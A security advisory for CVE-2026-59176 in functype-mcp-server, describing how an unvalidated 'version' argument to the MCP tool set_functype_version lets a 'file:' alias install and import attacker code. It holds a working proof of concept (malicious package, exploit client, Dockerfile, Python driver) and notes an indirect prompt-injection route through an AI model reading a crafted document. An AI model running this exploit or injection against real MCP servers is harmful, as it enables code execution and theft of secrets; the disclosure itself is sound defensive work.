---
id: CVE-2026-59176
aliases:
  - GHSA-wcjj-9m6g-2fr2
title: >-
  functype-mcp-server: MCP `set_functype_version` Package Alias RCE via
  Unsanitized pnpm install + Dynamic Import
summary: >-
  functype-mcp-server: MCP `set_functype_version` Package Alias RCE via
  Unsanitized pnpm install + Dynamic Import
severity: high
cvss: 7.8
cwe:
  - CWE-829
vendor: functype-mcp-server
product: functype-mcp-server
ecosystem: npm
affected:
  - functype-mcp-server <= 1.4.3
patched:
  - functype-mcp-server 1.4.4
published: '2026-09-09'
updated: '2026-09-09'
sourceUpdated: '2026-09-09T23:49:21Z'
source: GHSA
sourceUrl: 'https://github.com/advisories/GHSA-wcjj-9m6g-2fr2'
references:
  - url: >-
      https://github.com/jordanburke/functype/security/advisories/GHSA-wcjj-9m6g-2fr2
  - url: >-
      https://github.com/jordanburke/functype/commit/c0d58ad9c2a7d15c6117bd3adbbd75de37317dcf
  - url: 'https://github.com/advisories/GHSA-wcjj-9m6g-2fr2'
tags:
  - ghsa
  - npm
ingestedAt: '2026-09-10T00:26:24.579Z'
---

## Overview

## MCP `set_functype_version` Package Alias RCE via Unsanitized pnpm install + Dynamic Import

### Summary

The `set_functype_version` MCP tool in `functype-mcp-server` accepts an unconstrained `version` string, interpolates it directly into an npm package specifier (`functype@<version>`), and installs it via `pnpm add` without any validation. Because npm/pnpm package specifiers support `file:`, `npm:`, and other alias syntaxes, an attacker who can send an MCP `tools/call` request to this tool can cause the server to install an arbitrary local or remote package as `functype`. Immediately after installation, the server calls `initDocsData(true)`, which dynamically imports `functype/cli` from the newly installed location, executing attacker-controlled JavaScript in the MCP server process. This results in full Remote Code Execution (RCE) with the privileges of the server process — full confidentiality, integrity, and availability impact (CVSS 7.8 High).

### Details

The vulnerable code is in `packages/mcp-server/src/index.ts`. The `set_functype_version` tool is registered at line 115 and is enabled by default (no authentication required in stdio mode).

**Source (user input accepted without validation):**
```ts
// packages/mcp-server/src/index.ts:119-121
parameters: z.object({
  version: z.string().describe('The functype version to install (e.g., "0.46.0", "latest", "^0.45.0")'),
}),
```
Only `z.string()` validation is applied — no semver format check, no allowlist for dist-tags, and no rejection of `file:`, `npm:`, URL, or path alias syntaxes.

**Sink 1 — arbitrary package installation:**
```ts
// packages/mcp-server/src/index.ts:122-125
execute: async (args) => {
  const spec = `functype@${args.version}`
  try {
    execFileSync("pnpm", ["add", spec], { cwd: PROJECT_ROOT, stdio: "pipe", timeout: 60_000 })
```
`args.version` is interpolated into the package specifier string and passed directly to `pnpm add`. Supplying `file:/path/to/evil` causes pnpm to install an attacker-controlled directory as the `functype` package alias.

**Sink 2 — dynamic import executes installed package code:**
```ts
// packages/mcp-server/src/lib/docs/data.ts:23-30
if (force) {
  const resolvedPath = require.resolve("functype/cli")
  cli = await import(`${pathToFileURL(resolvedPath).href}?t=${Date.now()}`)
}
```
`initDocsData(true)` is called immediately after installation (line 134 in `index.ts`). It resolves `functype/cli` from the node_modules that now points to the attacker's package and dynamically imports it, executing any module-level code in the attacker's `cli.js` at import time.

**Data flow summary:**
1. `index.ts:115` — MCP tool `set_functype_version` registered, no auth required.
2. `index.ts:119-121` — `version` accepted as raw `z.string()` (source).
3. `index.ts:123` — `functype@${args.version}` constructed without sanitization.
4. `index.ts:125` — `execFileSync("pnpm", ["add", spec], ...)` installs attacker-controlled package (sink: arbitrary install).
5. `index.ts:134` — `initDocsData(true)` called immediately.
6. `data.ts:29-30` — `require.resolve("functype/cli")` + dynamic `import()` executes attacker module (sink: RCE).

### PoC

**Step 1 — Prepare the attacker-controlled evil package:**
```bash
mkdir -p /tmp/evil
cat > /tmp/evil/package.json <<'EOF'
{"name":"evil-functype","version":"1.0.0","type":"module","exports":{"./cli":"./cli.js"}}
EOF
cat > /tmp/evil/cli.js <<'EOF'
import { writeFileSync } from "node:fs";
writeFileSync("/pwned.txt", "RCE: mcp import-time code execution via set_functype_version\n");
export const TYPES = {};
export const INTERFACES = {};
export const CATEGORIES = {};
export const FULL_INTERFACES = {};
export const VERSION = "1.0.0";
EOF
```

**Step 2 — Clone and build the victim monorepo at the affected version:**
```bash
TMP="$(mktemp -d)"
git clone https://github.com/jordanburke/functype.git "$TMP/functype"
cd "$TMP/functype"
git checkout v1.4.3
corepack enable
pnpm install --frozen-lockfile
pnpm -F functype build
pnpm -F functype-mcp-server build
```

**Step 3 — Set up an MCP client to deliver the exploit:**
```bash
cd "$TMP"
npm init -y
npm pkg set type=module
npm install @modelcontextprotocol/sdk

cat > exploit.mjs <<'EOF'
import { Client } from "@modelcontextprotocol/sdk/client/index.js";
import { StdioClientTransport } from "@modelcontextprotocol/sdk/client/stdio.js";

const client = new Client({ name: "poc", version: "1.0.0" });
const transport = new StdioClientTransport({
  command: "node",
  args: [`${process.env.REPO}/packages/mcp-server/dist/bin.js`],
  env: { ...process.env, TRANSPORT_TYPE: "stdio" },
});

await client.connect(transport);
const result = await client.callTool({
  name: "set_functype_version",
  arguments: { version: "file:/tmp/evil" },
});
console.log(result);
await client.close();
EOF

REPO="$TMP/functype" node exploit.mjs
```

**Step 4 — Verify arbitrary code execution:**
```bash
cat /pwned.txt
# Expected output: RCE: mcp import-time code execution via set_functype_version
```

**Dynamic reproduction (Docker):**

The Phase 2 dynamic test used the provided Dockerfile which automates the above steps inside a container. The container confirmed creation of `/pwned.txt` with the expected payload string, proving end-to-end RCE.

```
[poc] EXPLOIT SUCCEEDED: /pwned.txt exists
[poc] File contents: RCE: mcp import-time code execution via set_functype_version
[evil-payload] Arbitrary code executed via functype/cli dynamic import
```

**Recommended remediation:**
```diff
+const SAFE_FUNCTYPE_VERSION = /^(?:latest|next|beta|alpha|canary|rc|[~^]?v?\d+(?:\.\d+){0,2}(?:-[0-9A-Za-z.-]+)?(?:\+[0-9A-Za-z.-]+)?)$/
+
+const isSafeFunctypeVersion = (version: string): boolean => {
+  const trimmed = version.trim()
+  return trimmed === version && SAFE_FUNCTYPE_VERSION.test(trimmed) && !/[/:\\@]/.test(trimmed)
+}

 execute: async (args) => {
-  const spec = `functype@${args.version}`
+  if (!isSafeFunctypeVersion(args.version)) {
+    return "Invalid functype version. Use a semver version, range prefix (^ or ~), or a known dist-tag."
+  }
+  const spec = `functype@${args.version}`
   try {
-    execFileSync("pnpm", ["add", spec], { cwd: PROJECT_ROOT, stdio: "pipe", timeout: 60_000 })
+    execFileSync("pnpm", ["add", "--ignore-scripts", spec], { cwd: PROJECT_ROOT, stdio: "pipe", timeout: 60_000 })
```

### Impact

This is a **Remote Code Execution (RCE)** vulnerability. Any MCP client that can invoke the `set_functype_version` tool — which requires no authentication and is enabled by default in the stdio MCP server — can execute arbitrary JavaScript in the MCP server process.

**Who is impacted:**
- Developers and teams running `functype-mcp-server` (version 1.4.3) in their local or CI environments as an AI coding assistant integration.
- Users whose AI assistant (LLM agent) is connected to this MCP server and is susceptible to indirect prompt injection: a malicious document or web page read by the AI could trigger a `set_functype_version` call with a `file:` or `npm:` alias payload.
- In non-default `TRANSPORT_TYPE=httpStream` deployments, network-accessible attackers can exploit this without local access.

The full impact at exploitation is confidentiality, integrity, and availability — an attacker can read secrets from the process environment, modify files, or crash the server.

### Reproduction artifacts

#### `Dockerfile`

```dockerfile
# Dockerfile for VULN-001: MCP set_functype_version Package Alias RCE
#
# Build context: reports/npmAI_684_jordanburke__functype/
#   COPY repo/       -> /workspace/functype/   (victim monorepo)
#   COPY vuln-001/   -> supporting PoC files
#
# Build:  docker build -t vuln001-functype-rce -f vuln-001/Dockerfile .
# Run:    docker run --rm vuln001-functype-rce
#
# Expected exit 0 with "[poc] EXPLOIT SUCCEEDED" in output.

FROM node:24-slim

# Install pnpm matching the repo's packageManager field (pnpm@11.7.0).
RUN npm install -g pnpm@11.7.0 --quiet

# ── Victim workspace ──────────────────────────────────────────────────────────
WORKDIR /workspace/functype
COPY repo/ ./

# Install all workspace deps. --no-frozen-lockfile avoids hash mismatches
# caused by running on a different pnpm minor than the one that generated the
# lockfile; the installed versions are still constrained by the lockfile
# specifiers for the packages we care about.
RUN pnpm install --no-frozen-lockfile

# Build functype first (mcp-server externals functype at build time).
RUN pnpm -F functype build

# Build the MCP server binary (output: packages/mcp-server/dist/bin.js).
RUN pnpm -F functype-mcp-server build

# ── Attacker-controlled evil package ─────────────────────────────────────────
# /evil/cli.js writes /pwned.txt when dynamically imported.
COPY vuln-001/evil/ /evil/

# ── MCP exploit client ────────────────────────────────────────────────────────
WORKDIR /client
RUN npm init -y --quiet && \
    npm pkg set type=module && \
    npm install @modelcontextprotocol/sdk@1.29.0 --quiet
COPY vuln-001/client/exploit.mjs ./exploit.mjs

# Default entrypoint: run the exploit and exit 0 on success.
CMD ["node", "/client/exploit.mjs"]
```

#### `poc.py`

```python
#!/usr/bin/env python3
"""
PoC driver for VULN-001: MCP set_functype_version Package Alias RCE
via Unsanitized pnpm install + Dynamic Import (CWE-829, CVSS 7.8 High).

Attack chain:
  1. Attacker calls MCP tool set_functype_version with version="file:/evil"
  2. Server executes: execFileSync("pnpm", ["add", "functype@file:/evil"], ...)
  3. Evil package is installed as the functype alias in mcp-server's node_modules
  4. Server calls initDocsData(true) which resolves functype/cli and dynamic-imports it
  5. /evil/cli.js runs at import time -> writes /pwned.txt (arbitrary code execution)

Usage:
  python3 poc.py [--build-only]

Requirements:
  - Docker daemon running
  - Build context at parent directory of this file's directory
"""

import subprocess
import sys
import json
import os
import argparse

VULN_DIR = os.path.dirname(os.path.abspath(__file__))
REPORT_DIR = os.path.dirname(VULN_DIR)
IMAGE_NAME = "vuln001-functype-rce"
DOCKERFILE = os.path.join(VULN_DIR, "Dockerfile")
RESULT_FILE = os.path.join(VULN_DIR, "phase2_result.json")

BUILD_CMD = ["docker", "build", "-t", IMAGE_NAME, "-f", DOCKERFILE, REPORT_DIR]
RUN_CMD = ["docker", "run", "--rm", IMAGE_NAME]


def run(cmd, timeout=None, **kwargs):
    """Run a command and return CompletedProcess with combined output."""
    return subprocess.run(
        cmd,
        stdout=subprocess.PIPE,
        stderr=subprocess.PIPE,
        text=True,
        timeout=timeout,
        **kwargs,
    )


def write_result(passed, verdict, reason, evidence):
    result = {
        "passed": passed,
        "verdict": verdict,
        "reason": reason,
        "build_command": " ".join(BUILD_CMD),
        "run_command": " ".join(RUN_CMD),
        "poc_command": f"python3 {os.path.basename(__file__)}",
        "evidence": evidence,
        "artifacts": ["Dockerfile", "poc.py", "evil/package.json", "evil/cli.js", "client/exploit.mjs"],
    }
    with open(RESULT_FILE, "w", encoding="utf-8") as f:
        json.dump(result, f, indent=2, ensure_ascii=False)
    print(f"[poc] Result written to {RESULT_FILE}")
    print(f"[poc] verdict={verdict}  passed={passed}")


def main():
    parser = argparse.ArgumentParser(description="VULN-001 PoC driver")
    parser.add_argument("--build-only", action="store_true", help="Only build the image, do not run")
    args = parser.parse_args()

    # ── Build ─────────────────────────────────────────────────────────────────
    print("[poc] Building Docker image (this may take a few minutes)...")
    print(f"[poc] Build command: {' '.join(BUILD_CMD)}")

    try:
        build = run(BUILD_CMD, timeout=900)
    except subprocess.TimeoutExpired:
        msg = "Docker build timed out after 900 seconds"
        print(f"[poc] ERROR: {msg}")
        write_result(False, "INCOMPLETE", f"빌드 타임아웃: {msg}", msg)
        sys.exit(2)

    if build.returncode != 0:
        tail = (build.stdout + "\n" + build.stderr)[-3000:]
        print("[poc] Build FAILED:")
        print(tail)
        write_result(
            False,
            "FAIL",
            "Docker 이미지 빌드 실패. pnpm install 또는 TypeScript 빌드 오류 확인 필요.",
            f"BUILD EXIT {build.returncode}\n{tail}",
        )
        sys.exit(1)

    print("[poc] Build succeeded.")

    if args.build_only:
        print("[poc] --build-only flag set; skipping run.")
        sys.exit(0)

    # ── Run ───────────────────────────────────────────────────────────────────
    print(f"[poc] Running exploit container: {' '.join(RUN_CMD)}")

    try:
        run_result = run(RUN_CMD, timeout=180)
    except subprocess.TimeoutExpired:
        msg = "Container run timed out after 180 seconds"
        print(f"[poc] ERROR: {msg}")
        write_result(False, "INCOMPLETE", f"컨테이너 실행 타임아웃: {msg}", msg)
        sys.exit(2)

    stdout = run_result.stdout or ""
    stderr = run_result.stderr or ""
    combined = stdout + "\n" + stderr

    print("=" * 60)
    print("STDOUT:")
    print(stdout)
    print("STDERR:")
    print(stderr)
    print(f"EXIT CODE: {run_result.returncode}")
    print("=" * 60)

    # Success criteria: exit 0 AND exploit succeeded message present
    exploit_succeeded = "EXPLOIT SUCCEEDED" in combined
    passed = run_result.returncode == 0 and exploit_succeeded

    if passed:
        # Extract key evidence lines
        evidence_lines = [
            line for line in combined.splitlines()
            if any(kw in line for kw in ("EXPLOIT SUCCEEDED", "pwned.txt", "evil-payload", "RCE:"))
        ]
        evidence = "\n".join(evidence_lines) if evidence_lines else combined[-1000:]

        write_result(
            True,
            "PASS",
            (
                "컨테이너 내 /pwned.txt 생성 확인: MCP set_functype_version 도구에 "
                'version="file:/evil" 인수를 전달하자 서버가 pnpm add functype@file:/evil을 실행한 후 '
                "initDocsData(true)가 동적 import를 통해 evil/cli.js를 실행, 임의 파일 쓰기(RCE)가 발생함."
            ),
            evidence,
        )
        print("[poc] === PASS: exploit reproduced ===")
        sys.exit(0)

    else:
        # Distinguish failure modes
        if not exploit_succeeded and run_result.returncode == 0:
            verdict = "INCOMPLETE"
            reason = (
                "/pwned.txt가 생성되지 않았으나 컨테이너는 정상 종료됨. "
                "pnpm add 후 require.resolve 경로 확인 필요 — pnpm 가상 스토어 구조로 인해 "
                "node_modules/functype 심볼릭링크가 예상 위치에 없을 수 있음."
            )
        else:
            verdict = "FAIL"
            reason = (
                f"컨테이너 종료 코드 {run_result.returncode}. "
                "exploit.mjs 오류 또는 MCP 서버 시작 실패. 로그 확인 필요."
            )

        write_result(False, verdict, reason, combined[-2000:])
        print(f"[poc] === {verdict}: exploit did not reproduce ===")
        sys.exit(1)


if __name__ == "__main__":
    main()
```

## Affected packages

- `functype-mcp-server <= 1.4.3`

## Remediation

Upgrade to a patched release:

- `functype-mcp-server 1.4.4`
